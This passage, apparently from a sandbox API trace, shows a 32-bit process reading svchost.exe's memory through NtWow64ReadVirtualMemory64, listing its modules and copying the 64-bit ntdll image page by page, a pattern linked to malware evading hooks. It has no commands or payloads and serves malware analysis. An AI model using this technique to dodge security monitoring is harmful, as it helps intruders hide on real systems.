returned 0x0 [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603138, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0138.950] StrRChrA (lpStart="C:\\Windows\\system32\\svchost.exe", lpEnd=0x0, wMatch=0x5c) returned="\\svchost.exe" [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603340, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603230, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x203, NumberOfBytesRead=0x3a) returned 0x0 [0138.950] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603980, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603b10, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0138.950] StrRChrA (lpStart="C:\\Windows\\system32\\KERNEL32.DLL", lpEnd=0x0, wMatch=0x5c) returned="\\KERNEL32.DLL" [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603e80, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.950] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c604010, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x44 | out: Buffer=0x203, NumberOfBytesRead=0x44) returned 0x0 [0138.951] StrRChrA (lpStart="C:\\Windows\\system32\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6052e0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c603910, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3e | out: Buffer=0x203, NumberOfBytesRead=0x3e) returned 0x0 [0138.951] StrRChrA (lpStart="C:\\Windows\\system32\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6054d0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605660, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x3c | out: Buffer=0x203, NumberOfBytesRead=0x3c) returned 0x0 [0138.951] StrRChrA (lpStart="C:\\Windows\\system32\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c6058f0, Buffer=0x203, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x203, NumberOfBytesRead=0x98) returned 0x0 [0138.951] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0x5c605a80, Buffer=0x203, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x203, NumberOfBytesRead=0x40) returned 0x0 [0138.951] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ucrtbase.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ucrtbase.dll" [0138.952] LocalFree (hMem=0x7392a0) returned 0x0 [0138.953] LocalFree (hMem=0x72e060) returned 0x0 [0138.953] lstrcmpiA (lpString1="svchost.exe", lpString2="NTDLL.DLL") returned 1 [0138.953] StrChrA (lpStart="svchost.exe", wMatch=0x2e) returned=".exe" [0138.953] lstrcmpiA (lpString1="svchost", lpString2="NTDLL.DLL") returned 1 [0138.953] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0138.954] VirtualFree (lpAddress=0x8d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.955] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0138.955] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.956] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.956] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.956] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.957] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.957] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.957] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.958] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.958] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.958] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.959] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.959] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.959] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.960] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.960] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.960] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.961] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.961] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.961] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.962] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.962] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.963] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0138.963] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.000] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.034] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.034] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.034] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.035] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.035] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.035] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.035] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.036] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.036] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.036] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.036] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.037] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.037] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.037] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.037] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.038] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.038] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.038] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.038] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.038] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.039] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.039] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.039] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.039] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.040] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.040] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.040] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.040] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.040] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.041] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.041] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.041] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.041] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.042] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.042] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.042] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.043] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.043] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.043] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.043] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.044] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.044] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.044] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.044] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.045] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.045] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.045] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.045] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.046] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.046] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.046] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.046] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.047] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.047] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.047] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.047] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.048] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.048] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.048] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.048] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.049] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.049] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.049] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.049] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.049] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.050] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.050] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.050] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.050] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.051] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0139.051] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x174, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 